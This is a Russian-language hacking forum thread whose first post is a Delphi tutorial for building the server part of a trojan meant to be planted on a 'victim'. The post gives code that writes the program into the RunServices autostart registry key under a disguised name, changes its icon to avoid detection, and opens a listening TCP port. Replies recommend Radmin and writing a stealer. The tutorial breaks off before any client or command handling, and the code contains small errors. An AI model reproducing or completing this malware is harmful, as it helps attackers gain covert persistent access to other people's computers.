1. rwikk113.03.2025 в 00:28от
Загрузка...

Пишем Троянский Вирус 5-10мин

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем IsGood, 11.12.2012.

  1. IsGood

    IsGood

    Статус:
    Оффлайн
    Регистрация:
    09.12.12
    Сообщения:
    204
    Репутация:
    51 +/-
    Привет! Сейчас я расскажу тебе о том, как можно на Delphi можно разработать небольшого троянского коня.
    Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.
    Троянский сервер:
    Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.
    Для начала выбери пункт меню «Options» из меню «Project».

    Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня. Только что мы отключили From1 из списка авто инициализируемых форм. Теперь инициализацию придётся произвести вручную. Не пугайся, это очень просто.
    На странице «Application» этого же диалога есть кнопка «Load Icon». Нажми её, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячая, а она быстро выдаст твоё смертельное оружие.
    Теперь ты должен бросить на форму компонент ServerSocket из раздела «Internet», это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство «Port». По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).
    Теперь щёлкни в любом месте на форме, чтобы активизировать её свойства. Перейди в ObjectInspector и щёлкни по закладке Events. Дважды щёлкни по строке «OnCreate» и Delphi, как всегда, создаст процедуру, она будет выполняться при инициализации формы. Напиши там следующее:
    procedure TForm1.FormCreate(Sender: TObject);
    var RegIni:TRegIniFile;
    begin
    RegIni:=TRegIniFile.Create(''Software'');
    RegIni.RootKey:=HKEY_LOCAL_MACHINE;
    RegIni.OpenKey(''Software'', true);
    RegIni.OpenKey(''Microsoft'', true);
    RegIni.OpenKey(''Windows'', true);
    RegIni.OpenKey(''CurrentVersion'', true);
    RegIni.WriteString(''RunServices'', ''Internat32.exe'',
    Application.ExeName);
    RegIni.Free;
    ServerSocket1.Active:=true;
    end;
    Теперь перейди в начало текста и напиши после «uses» слово «registry». Мы уже делали такую операцию в статье про мега плеер, но я повторю, как это будет выглядеть:
    uses registry, Windows, Messages,
    Теперь я объясню, что мы написали в процедуре.
    «var RegIni:TRegIniFile» - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.
    «RegIni:=TRegIniFile.Create(''Software'')» - инициализируем переменную указывающую на реестр.
    «RegIni.RootKey:=HKEY_LOCAL_MACHINE» говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.
    «RegIni.OpenKey(''Software'', true)» - открываю подраздел «Software».
    Дальше я последовательно открываю подразделы, пробираясь в недра окошек.
    «RegIni.WriteString(''RunServices'', ''Internat32.exe'', Application.ExeName)” – записываю в раздел «RunServices» (в этом разделе хранятся проги, которые автоматически загружаются при старте), новый параметр с именем «Internat32.exe» (имя будущего файла) и значением Application.ExeName (здесь храниться полный путь к запущенному трояну).
    «RegIni.Free» - уничтожаю ненужный больше объект RegIni.
    Всё это делалось, чтобы при запуске проги, она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.
    Самая последняя строка «ServerSocket1.Active:=true» запускает сервер на указанном тобой порте. С загрузкой покончено. Теперь давай займёмся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щёлкни по строке «OnDistroy». Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
    procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
    begin
    ServerSocket1.Active:=false;
    end;
    Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь.
     
  2. ToolX

    ToolX

    Статус:
    Оффлайн
    Регистрация:
    06.11.12
    Сообщения:
    47
    Репутация:
    25 +/-
    хз есть спосбы лучше даже батник под exe. Радмин прямые руки и ты царь взлома
     
  3. xoma2019

    xoma2019

    Статус:
    Оффлайн
    Регистрация:
    11.08.12
    Сообщения:
    1.559
    Репутация:
    605 +/-
    Запилил стилер и хватит -_-